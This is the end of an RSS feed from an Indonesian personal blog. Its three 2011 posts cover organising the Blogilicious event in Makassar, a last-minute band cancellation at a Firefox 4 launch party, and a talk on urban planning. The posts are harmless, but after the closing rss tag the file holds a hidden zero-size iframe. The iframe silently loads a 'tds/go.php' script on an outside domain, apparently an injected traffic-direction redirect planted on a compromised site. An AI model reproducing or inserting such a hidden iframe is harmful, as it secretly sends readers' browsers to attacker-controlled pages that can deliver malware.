<h3><em>Kami boleh dibilang sukses menggelar acara <a href="http://anbhar.net/blogilicious-fun-makassar.html">blogilicious</a> di Makassar pada tanggal 21-22 Mei 2011. Tapi kalau mau jujur, saya belum puas. Masih ada beberapa kekurangan dalam penyelenggaraan acara, pun acara ini punya banyak cerita di balik layarnya.</em></h3>
<p>Sabtu pagi, jarum jam sudah hampir menunjuk ke angka 8:30 pagi. Gedung PKP UNHAS mulai ramai, beberapa volunteer sudah bersiap di meja registrasi, beberapa panitia lainnya sudah berada di dalam ruangan, bahkan beberapa peserta sudah duduk manis di dalam ruangan. Sayangnya, backdrop belum terpasang.</p>
<p>Saya panik. Rupanya memang panitia cowok belum ada yang tiba di lokasi, hanya ada Iqko yang sibuk dengan rundown acara. Saya tanya ke Dewi- salah satu panitia- apa dia punya teman cowok yang bisa saya mintai tolong memasang backdrop. Ternyata memang belum ada yang siap di lokasi. Beruntung gedung PKP punya beberapa orang office boy cowok, pada merekalah saya minta tolong untuk memasang backdrop, hanya beberapa menit sebeluma cara betul-betul dimulai.</p>
<p>Berkat bantuan mereka backdrop akhirnya bisa dipasang meski melalui jalan yang berat. Berbekal tangga panjang dua orang Office Boy PKP berhasil memasang backdrop di ketinggian kurang lebih 5 meter. Cukup menegangkan. Oke, backdrop akhirnya beres beberapa menit sebelum peserta mulai membanjir dan panitia pusat serta pembicara utama masuk ke lokasi acara. Saya menghela nafas lega.</p>
<p><span id="more-1472"></span>Tapi saya belum tenang. Salah satu janji saya pada salah satu sponsor belum terpenuhi. Mereka minta tolong memasang umbul-umbul di lokasi acara dan sampai hampir jam 9 umbul-umbul belum terpasang, bahkan bambunya belum ada. Saya panik lagi. Urusan ini cukup krusial karena menyangkut kepercayaan sponsor pada kami, panitia lokal maupun panitia pusat.</p>
<p>Saya hampir saja meminta tolong pada teman-teman untuk mencari tukang bambu sekitar kampus UNHAS ketika saya melihat salah satu sponsor lainnya sedang sibuk memasang umbul-umbul. Saya melesat ke depan, bernegosiasi dengan seorang lelaki muda yang sedang memasang umbul-umbul. 15 menit kemudian deal tercapai, mereka bersedia membeli bambu sekaligus memasang 10 umbul-umbul dengan harga yang sesuai. Saya menghela nafas lega lagi, akhirnya urusan yang mengganjal dari kemarin itu selesai juga. Saya bisa konsentrasi pada tugas berikutnya sebagai moderator selama dua hari penuh.</p>
<p style="text-align: center;">&nbsp;</p>
<div id="attachment_1474" class="wp-caption aligncenter" style="width: 624px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/2.jpg"><img class="size-full wp-image-1474 " title="2" src="http://daenggassing.com/wp-content/uploads/2011/05/2.jpg" alt="" width="614" height="411" /></a><p class="wp-caption-text">Ketika menjadi moderator (foto by:Denun.net)</p></div>
<p>Dua drama di atas hanyalah sebagian kecil dari ragam drama yang terjadi selama penyelenggaraan acara selama dua hari tersebut. Sehari sebelumnya saya sudah cukup drop sampai titik terendah ketika seharian penuh harus bolak-balik ke bandara menjemput panitia pusat dan pembicara sekaligus mengurus kiriman logistik acara dari Surabaya.</p>
<p>Urusan logistik ini lumayan menguras emosi juga. Karena sistim pergudangan yang kacau, barang yang sudah dikirim dari Surabaya hari Rabu baru bisa kami ambil hari Jumat. Kami sempat panik juga karena barang dalam kargo tersebut adalah barang utama yang mendukung acara karena berisi spanduk, backdrop dan sertifikat. Hari Jumat atau sehari sebelum acara benar-benar menguras energi, fisik maupun mental. Saya berangkat dari rumah sekitar jam 9 dan terus bolak-balik bandara 3 kali sampai jam 1 malam.</p>
<p>Masalahnya tidak banyak anak Anging Mammiri yang bisa menyetir, memang ada Herman tapi dia juga tertahan di pekerjaannya sehingga baru bisa menggantikan saya waktu menjemput kloter terakhir sekitar jam 12 malam.</p>
<p>Kalau mau mundur ke belakang lagi, acara ini juga sempat menimbulkan sedikit ketegangan dalam internal Anging Mammiri. Keletihan fisik dan mental selepas acara launching Firefox 4 kemarin membuat gesekan kecil dengan segera membara dan menyulut emosi. Sempat ada jeda beberapa waktu yang membuat suasana jadi kurang kondusif. Beruntung karena perlahan kami bisa melewatinya. Tidak percuma kami sudah bersama-sama dalam rentang waktu yang cukup lama sehingga bara kecil seperti itu tidak lantas menjadi api yang membesar meski panasnya cukup terasa.</p>
<p>Belakangan saya baru sadar kalau salah satu kesalahan terbesar saya adalah karena saya masih terlalu segan kepada teman-teman panitia yang lainnya sehingga kurang memberi tanggung jawab pada mereka. Alur persiapan semua bermuara pada saya dan kerannya mampet sampai di situ, alur tanggung jawab tidak terdistribusikan dengan baik kepada teman-teman panitia yang lain. Akibatnya teman-teman juga bingung harus kerja apa dan ketika ada masalah semua kemudian bertanya kepada saya. Inilah yang kemudian membuat saya merasa lebih tertekan dan kemudian jadi lebih gampang tersulut emosinya.</p>
<p>Saya akui saya salah pada bagian itu, saya masih terlalu segan menimpakan tanggung jawab pada teman-teman yang lain. Acara ini tidak bersifat komersil untuk kami, lebih kepada pengabdian pada komunitas. Alasan itulah yang membuat saya tidak tega mendistribusikan tanggung jawab itu pada teman-teman yang lain.</p>
<p>Pada acara syukuran selepas acara saya baru menyadarinya. Saya baru sadar kalau saya terlalu under estimate pada pengabdian mereka. Saya terlalu tidak enak untuk memberi mereka pekerjaan dan tanggung jawab padahal mereka sendiri begitu antusias untuk ikut dilibatkan. Ini sebuah catatan penting yang harus saya ingat dalam pelaksanaan acara berikutnya. Tidak semua interaksi itu dihitung dengan materi, karena ada sesuatu yang lebih besar yang justru bisa lebih mengeratkan ikatan dalam sebuah organisasi.</p>
<p>Alhamdulillah, rangkaian acara selama dua hari akhirnya berhasil kami gelar juga meski tentu saja dengan beberapa catatan kecil. Setidaknya, saya belajar satu hal. Belajar mempercayai teman-teman lain di Anging Mammiri, belajar menghargai kesetiaan dan loyalitas mereka.</p>
<p>Sampai ketemu di acara Anging Mammiri lainnya.</p>
<p>&nbsp;</p>
<div id="attachment_1477" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/Moderator-keren.jpg"><img class="size-full wp-image-1477" title="Moderator keren" src="http://daenggassing.com/wp-content/uploads/2011/05/Moderator-keren.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Ditinggal sendirian di panggung ( foto by: Rizved and Team )</p></div>
<p>&nbsp;</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/05/di-balik-layar-blogilicious-makassar/" title="blogilicious makassar">blogilicious makassar</a> (1)</li><li><a href="http://daenggassing.com/2011/05/di-balik-layar-blogilicious-makassar/" title="pasang umbul-umbul didalam ruangan">pasang umbul-umbul didalam ruangan</a> (1)</li><li><a href="http://daenggassing.com/2011/05/di-balik-layar-blogilicious-makassar/" title="renungan dibalik layar">renungan dibalik layar</a> (1)</li></ul><div class="shr-publisher-1472"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F05%2Fdi-balik-layar-blogilicious-makassar%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/05/di-balik-layar-blogilicious-makassar/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Rencana Tuhan yang [selalu] lebih indah</title>
		<link>http://daenggassing.com/2011/05/rencana-tuhan-yang-kadang-lebih-indah/</link>
		<comments>http://daenggassing.com/2011/05/rencana-tuhan-yang-kadang-lebih-indah/#comments</comments>
		<pubDate>Mon, 09 May 2011 08:43:40 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[BrowserRakyat]]></category>
		<category><![CDATA[Firefox 4 Launching]]></category>
		<category><![CDATA[Fx4Party]]></category>
		<category><![CDATA[Fx4PartyMks]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1432</guid>
		<description><![CDATA[Manusia berencana, Tuhan yang menentukan. Percayalah pada kata bijak itu. Jumat sore sekitar jam 16:00 lebih, atau 3 jam sebelum acara puncak launching Firefox 4 Makassar digelar di De Luna Caf? dan Resto. Sebagian panitia masih bertumpuk di kamar 802 Hotel Shantika tempat Rara menginap dan dengan semena-mena kami jadikan sebagai base camp sementara karena [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1433" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/DSC_0024_046.jpg"><img class="size-full wp-image-1433" title="DSC_0024_046" src="http://daenggassing.com/wp-content/uploads/2011/05/DSC_0024_046.jpg" alt="" width="600" height="398" /></a><p class="wp-caption-text">Iqko, sukses memimpin acara di depan layar</p></div>
<h2><em>Manusia berencana, Tuhan yang menentukan. Percayalah pada kata bijak itu.</em></h2>
<p>Jumat sore sekitar jam 16:00 lebih, atau 3 jam sebelum acara puncak launching <strong><a href="http://angingmammiri.org/firefox/">Firefox 4 Makassar</a></strong> digelar di <strong>De Luna Caf? dan Resto</strong>. Sebagian panitia masih bertumpuk di kamar 802 Hotel Shantika tempat <strong><a href="htpp://i-rara.com/">Rara</a> </strong>menginap dan dengan semena-mena kami jadikan sebagai base camp sementara karena tempatnya yang tidak begitu jauh dari De Luna.</p>
<p>Sebuah telepon masuk ke handphone saya, di layar tertera nama yang saya kenal. Adik teman sekantor yang sudah saya kontak untuk jadi salah satu pengisi acara di launching Firefox4 malam nanti. Telepon itu dengan segera memacing emosi saya. Dari seberang, si penelepon ngomong kalau dia tidak bisa tampil malam ini. &#8220;Tapi jangan kuatir,&#8221; katanya.&#8221; Saya ada teman yang bisa menggantikan. Cuma, kayaknya dia tidak bisa kalau tetap dengan harga segitu, dia bisanya dua kali lipat dari itu &#8221;</p>
<p><strong>What..???</strong></p>
<p><strong>Emosi saya dengan cepat memuncak sampai ke ubun-ubun</strong>. Bagaimana bisa dia mengabari kalau dia batal tampil hanya 3 jam sebelum acara ? Terus, bagaimana bisa dia bilang kalau ada penggantinya tapi tidak mau kalau dibayar segitu dan minta dua kali lipatnya ? Memangnya acara ini acara nenek moyangmu yang bisa kamu atur seenaknya ?</p>
<p>Dua hari sebelumnya saya sudah menelepon mereka dan dengan yakinnya mereka bilang siap untuk tampil. Soal harga mereka bilang tidak masalah. Jadi wajar dong kalau saya emosi pas mereka dengan seenaknya bilang tidak bisa tampil tapi merekomendasikan penggantinya yang bisa tampil dengan bayaran dua kali lipat. <strong>Sejuta prett..!!!</strong> untuk kamu, band kampunganmu yang sama sekali tidak profesional. Bagaimana bisa berkembang kalau modelnya kayak begitu ? seenaknya saja menyalahi perjanjian walaupun itu cuma perjanjian lisan. Manusia itu yang dipegang kata-katanya bukan ? Jadi kalau berkata-kata saja sudah tidak bisa dipercaya, apalagi yang bisa dipercaya ?</p>
<p>Saya sudah lupa kapan terakhir kalinya mengumpat dengan kalimat <strong>TA****O</strong>, itu umpatan yang cukup kasar untuk orang Bugis-Makassar, dan saya ? umpatan itu biasanya hanya keluar kalau saya benar-benar emosi. Seperti sore itu.</p>
<p><strong><span id="more-1432"></span>Sontak saya kalut luar biasa,</strong> gabungan antara emosi dan bingung membuat saya nyaris tidak bisa berpikir. Hancur sudah rundown acara yang sudah kami susun sejak seminggu sebelumnya karena ulah band kampungan itu.</p>
<p>Sejatinya band itu akan tampil secara akustik di tiga sesi. Sesi awal sebagai pembuka, kemudian sesi <em>bridge</em> antara sesi advetorial dari Indosat menuju sesi puncak bersama dua engineer Mozilla serta tentu saja pada sesi terakhir. Total waktunya sekitar 1 jam untuk penampilan band yang rencananya akan tampil akustik.</p>
<p>Nah kalau mereka tiba-tiba batal, apa yang akan kami lakukan..? Apa yang harus kami isi untuk satu jam itu ? Membiarkan panggung kosong dan audiens bengong ? Pertanyaan itu yang bikin saya bingung.</p>
<p><strong><em>Tapi, sekali lagi Tuhan kadang punya rencana yang tidak kita duga sebelumnya.</em></strong></p>
<p>Di pagi harinya bersama Rara saya menjemput seorang teman, namanya <strong>Dimas</strong>. Saya pertama ketemu dengan lelaki setengah gondrong itu di Jakarta pada pagelaran Pesta Blogger tahun lalu. hanya sekejap sih, tapi setelah itu dunia maya lumayan membuat kami akrab.</p>
<p>Rara sendiri menyembunyikan identitas Dimas dan sejak malam harinya hanya menyebut kalau ada seorang lelaki yang ikut dia ke Makassar. Kami menyebutnya <em>mistery man</em> karena sampai perjalanan ke bandara kami belum tahu pasti siapa tamu yang disebut Rara itu. Meski sudah bisa mengira tapi saya belum bisa yakin 100% sebelum melihat dengan jelas kalau memang Dimas yang dimaksud Rara.</p>
<p>Saya dan teman-teman Anging Mammiri sama sekali tidak pernah menyangka kalau keputusan Rara &#8220;menculik&#8221; Dimas ke Makassar adalah keputusan yang sangat kami syukuri. Dimas menjadi penyelamat acara. Yah, dia menyelamatkan muka kami semua ketika saya sudah bingung dan emosi tingkat tinggi mendengar pembatalan sepihak dari band kampungan itu.</p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong></p>
<div id="attachment_1434" class="wp-caption alignleft" style="width: 209px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/DSC_0212_129.jpg"><img class="size-medium wp-image-1434" title="DSC_0212_129" src="http://daenggassing.com/wp-content/uploads/2011/05/DSC_0212_129-199x300.jpg" alt="" width="199" height="300" /></a><p class="wp-caption-text">Dimas, sukses menuntun acara dari belakang layar</p></div>
<p></strong></p>
<p><strong> </strong></p>
<p><strong>Dimas muncul menawarkan diri menjadi DJ</strong>. Bersama Rara, dia meyakinkan saya untuk tenang karena dia bersedia mengisi slot kosong tersebut dengan pilihan playlist dari MacBook-nya. Entah kenapa saya langsung percaya pada Dimas. Hanya dalam hitungan menit saya mulai tenang meski terus terang masih ada kekhawatiran soal slot kosong yang ditinggal band itu. Tapi Dimas, Rara dan <a href="http://radioholicz.com/">Iqko</a> terus menenangkan saya sehingga kemudian saya meninggalkan mereka dan mengurus hal lain yang masih harus diurus.</p>
<p>Ketika tiba di venue menjelang acara, Dimas sudah siap di belakang MacBook-nya dengan beberapa kabel yang terjuntai. Saya tidak terlalu paham apa yang dia kerjakan karena saya juga sibuk membagi pikiran berkoordinasi dengan teman-teman yang lain. Setahu saya Dimas mengerahkan semua kemampuannya malam itu. Dan setahu saya, acara berjalan lancar dan meriah salah satunya adalah karena ulah Dimas yang menjadi <em>man behind the scene</em> yang sesungguhnya.</p>
<p>Dimas merangkai dengan tepat lagu yang diputar, dia menjamin presentasi para pemateri tampil sesuai keinginan. Di tangan Dimaslah, slot kosong yang saya kuatirkan akan membuat acara garing itu ternyata sama sekali tidak terbukti. Dimas dan Iqko, dua tulang punggung acara kami malam itu. Dimas di belakang layar dan Iqko di depan layar. Pfyiuhhh, saya tidak bisa membayangkan bagaimana garingnya acara itu tanpa mereka berdua.</p>
<p><strong>Yah, kita memang berencana tapi Tuhan yang menentukan.</strong> Terkadang Tuhan menentukan rencana yang berbeda dan malah lebih indah dari yang kita rencakanan. Seperti yang terjadi malam itu. Kehadiran Dimas membuat kami sadar kalau kami sama sekali tidak membutuhkan band kampungan itu yang mungkin malah akan membuat <em>rundown</em> jadi kacau dan molor.</p>
<p><strong>Ahh..Tuhan kadang memang punya rencana yang indah buat kita hambanya.</strong> Terima kasih buat Dimas dan semua teman-teman yang sudah bekerja keras untuk kesuksesan Firefox 4 Launching Party. Karena Dimas juga saya jadi batal untuk lompat dari lantai 8 Hotel Shantika..hehehe.</p>
<p><strong> I love you all, guys..!!</strong></p>
<p><em>Cerita lain soal #Fx4PartyMks bisa dibaca <a href="http://angingmammiri.org/rubah-api-meluncur-di-makassar/">di sini</a>. </em></p>
<p><em>Foto-foto acara #Fx4PartyMks bisa dilihat salah satunya <a href="http://www.facebook.com/media/set/?set=a.10150190590234817.326809.520064816">di facebook saya</a><br />
</em></p>
<p><em> </em></p>
<p><em> </em></p>
<p><em></p>
<div id="attachment_1435" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/DSC_0246_142.jpg"><img class="size-full wp-image-1435" title="DSC_0246_142" src="http://daenggassing.com/wp-content/uploads/2011/05/DSC_0246_142.jpg" alt="" width="600" height="398" /></a><p class="wp-caption-text">Para panitia yang sudah bekerja keras demi kelancaran acara</p></div>
<p></em></p>
<p><em> </em></p>
<p><em> </em></p>
<p>&nbsp;</p>
<p><em><br />
</em></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/05/rencana-tuhan-yang-kadang-lebih-indah/" title="rencana tuhan">rencana tuhan</a> (10)</li><li><a href="http://daenggassing.com/2011/05/rencana-tuhan-yang-kadang-lebih-indah/" title="rencana tuhan indah">rencana tuhan indah</a> (5)</li><li><a href="http://daenggassing.com/2011/05/rencana-tuhan-yang-kadang-lebih-indah/" title="manusia berencana tuhan yang menentukan">manusia berencana tuhan yang menentukan</a> (4)</li><li><a href="http://daenggassing.com/2011/05/rencana-tuhan-yang-kadang-lebih-indah/" title="rencana tuhan itu indah">rencana tuhan itu indah</a> (3)</li><li><a href="http://daenggassing.com/2011/05/rencana-tuhan-yang-kadang-lebih-indah/" title="tamu hotel semena mena">tamu hotel semena mena</a> (1)</li></ul><div class="shr-publisher-1432"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F05%2Frencana-tuhan-yang-kadang-lebih-indah%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/05/rencana-tuhan-yang-kadang-lebih-indah/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Kota Ini Milik Kita, Kawan !</title>
		<link>http://daenggassing.com/2011/05/kota-ini-milik-kita-kawan/</link>
		<comments>http://daenggassing.com/2011/05/kota-ini-milik-kita-kawan/#comments</comments>
		<pubDate>Mon, 02 May 2011 04:33:49 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Opini]]></category>
		<category><![CDATA[Kota]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Marco Kusumawijaya]]></category>
		<category><![CDATA[Urban]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1423</guid>
		<description><![CDATA[Hari jumat, 29 April 2011 Anging Mammiri kedatangan tamu spesial. Pak Marco Kusumawijaya, seorang jurnalis, urban planner dan aktivis perkotaan. Banyak hal menarik yang kami seduh pada diskusi singkat dengan beliau. Pertama kali saya bertemu pak Maro adalah pada bulan Oktober 2010 dalam sebuah workshop Unesco yang diadakan oleh HIVOS. Waktu itu beliau jadi moderator [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1424" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/kopdarMarco.jpg"><img class="size-full wp-image-1424" title="kopdarMarco" src="http://daenggassing.com/wp-content/uploads/2011/05/kopdarMarco.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Suasana diskusi dengan pak Marco</p></div>
<h2><em>Hari jumat, 29 April 2011 Anging Mammiri kedatangan tamu spesial. Pak <a href="http://en.wikipedia.org/wiki/Marco_Kusumawijaya">Marco Kusumawijaya</a>, seorang jurnalis, urban planner dan aktivis perkotaan. Banyak hal menarik yang kami seduh pada diskusi singkat dengan beliau.</em></h2>
<p>Pertama kali saya bertemu pak Maro adalah pada bulan Oktober 2010 dalam sebuah workshop Unesco yang diadakan oleh HIVOS. Waktu itu beliau jadi moderator dan saya jadi peserta. Kami memang tidak sempat ngobrol banyak jadi tidak heran kalau beliau tidak kenal saya.</p>
<p>Malam itu beliau tetap tampil dengan gayanya yang santai dan humble, seperti yang pertama saya tangkap di bulan Oktober itu. Sama sekali tidak ada kesan sombong dan jaga jarak. Akibatnya diskusi berjalan santai dan menarik.</p>
<p><strong>? Selepas perang kemerdekaan, hampir tidak ada satupun kota di Indonesia yang jadi lebih baik karena perencanaan. Kalaupun ada, itu biasanya karena kebetulan?, </strong>itu komentar awal pak Marco yang cukup mengejutkan. Sepertinya memang betul, sebagian besar kota di Indonesia memang malah menjadi makin ruwet karena sesuatu yang dinamakan perencanaan kota. Bahkan kota yang dulunya mungkin lebih nyaman saat masih di bawah kendali pemerintahan Hindia Belanda, sekarang malah rusak oleh orang kita sendiri.</p>
<p><strong>Perencanaan tanpa pengetahuan yang solid lebih rentan untuk dilanggar. </strong>Ini memang menjadi sebuah kenyataan pahit yang terjadi pada hampir semua kota di Indonesia. Sebuah perencanaan awal biasanya akan mengalami perubahan yang sangat signifikan pada perkembangannya, tergantung kesepakatan pemodal dan pemerintah.</p>
<p><span id="more-1423"></span>Contoh kecil adalah kota Makassar. Dulu kawasan Tamalanrea ditetapkan sebagai kawasan pendidikan yang ditandai dengan munculnya banyak kampus dan infrastrukturnya sekarang berubah menjadi kawasan bisnis dengan tumbuhnya mall dan beragam ruko. Suasana makin semrawut dan jejak sebagai kawasan pendidikan sepertinya makin terhapus.</p>
<div id="attachment_1425" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/MTos+dari+depan.jpg"><img class="size-medium wp-image-1425" title="MTos+dari+depan" src="http://daenggassing.com/wp-content/uploads/2011/05/MTos+dari+depan-300x190.jpg" alt="" width="300" height="190" /></a><p class="wp-caption-text">Mtos, Mall di kawasan pendidikan</p></div>
<p>Itu baru satu contoh kecil. Belum termasuk beberapa contoh lain dan jika memang berniat membuat daftar maka pengubahan rencana di tengah jalan pasti bisa dimuat dalam daftar yang teramat panjang.</p>
<p><strong>Rata-rata perencanaan kota di Indonesia memang dibuat tanpa pengetahuan yang solid.</strong> Semua perencanaan hanya memuat apa yang ada dalam kepala para perencana plus pemodal dan penguasa. Jarang sekali mereka menangkap aspirasi masyarakat luas sebagai pemilik asli sebuah kota. Makanya jangan heran kalau perencanaan kota banyak yang tidak sesuai dengan kebutuhan masyarakat. Karena toh masyarakat tidak pernah dilibatkan secara aktif dalam perencanaan.</p>
<p>Hal lain yang selalu menjadi kesalahan mendasar dan berulang adalah kenyataan kalau <strong>semua pengembangan kota itu seakan selalu berpusat pada Jakarta</strong>. Jakarta selalu menjadi <em>role model</em> untuk semua kota di Indonesia yang akan dikembangkan. Jakarta kemudian mendominasi semua perencanaan kota di Indonesia. Padahal Jakarta sendiri sudah terlalu jauh tenggelam dalam samudera masalah yang tepiannya sudah tidak terbentuk lagi.</p>
<p>Selama ini pembangunan kota di Indonesia menurut pak Marco memang lebih banyak bicara pada hal-hal yang besar. Jalan tol, jalan layang, mall dan semua ikon modernisasi yang biasanya memang dianggap sebagai lambang sebuah kota yang maju. Padahal tidak seperti itu, justru banyak hal kecil yang lebih menjamin kenyamanan warga yang sering terlupa dalam perencanaan sebuah kota.</p>
<p>Ruang terbuka hijau, drainase yang rapih dan lancar, trototar yang lebar dan nyaman, transportasi publik yang memadai. Itu hanya sebagian kecil saja hal-hal yang sebenarnya lebih terasa manfaatnya dalam keseharian warga kota dibanding ragam bangunan megah perlambang kemajuan itu.</p>
<p>Dalam diskusi ini juga terungkap tentang banyaknya kearifan lokal yang kemudian disisihkan karena kalah oleh kepercayaan terhadap kemajuan teknologi. Beberapa tempat di Makassar oleh leluhur kita memang sudah ditengarai tidak akan bisa menjadi tempat yang nyaman untuk ditinggali, tapi karena percaya pada kemajuan teknologi toh kearifan lokal tersebut diterabas juga. Meski kemudian pada kenyataannya tak selamanya teknologi bisa meredam efek buruk seperti yang dikhawatirkan leluhur kita dulu.</p>
<p>Ada hal kecil yang coba dibangun oleh pak Marco saat ini. Beliau menamakannya <strong>desentralisasi pengetahuan</strong>, suatu kondisi di mana pengetahuan tidak saja bersifat diturunkan dari atas tapi dikumpulkan dari mana saja. Tak ada pihak yang menjadi sentral pengetahuan tersebut. Semua berhak untuk jadi pembagi dan pengumpul ragam pengetahuan. Tentu saja semua dalam konteks perkotaan, di mana semua warga berhak menyampaikan informasi tentang kotanya, serta berhak pula mengumpulkan ragam informasi tentang kotanya.</p>
<p><strong>Semua ini bisa menjadi modal besar dalam merencanakan sebuah kota yang lebih nyaman.</strong></p>
<p>Masalah dalam setiap pelanggaran ketentuan perencanaan kota adalah kurangnya informasi tentang kota kepada warga kota sehingga kemudian memunculkan sikap apatis dari warga itu sendiri sehingga mereka jadi tidak peduli pada ragam pelanggaran yang dilakukan oleh pengusaha yang berkolusi dengan penguasa. Akibatnya kota makin semrawut karena diatur sesuai nafsu penguasa dan pengusaha, sementara wargalah yang paling merasakan akibatnya.</p>
<p><strong><em>Masih kurang di antara kita yang sadar kalau kota ini milik kita. Iya, kota ini milik kita kawan, bukan milik penguasa dan pengusaha.</em></strong></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/05/kota-ini-milik-kita-kawan/" title="marco kusumawijaya">marco kusumawijaya</a> (5)</li><li><a href="http://daenggassing.com/2011/05/kota-ini-milik-kita-kawan/" title="bicara santai tentang perkembangan kota">bicara santai tentang perkembangan kota</a> (3)</li><li><a href="http://daenggassing.com/2011/05/kota-ini-milik-kita-kawan/" title="pusat perbelanjaan di kawasan pendidikan">pusat perbelanjaan di kawasan pendidikan</a> (1)</li></ul><div class="shr-publisher-1423"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F05%2Fkota-ini-milik-kita-kawan%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/05/kota-ini-milik-kita-kawan/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
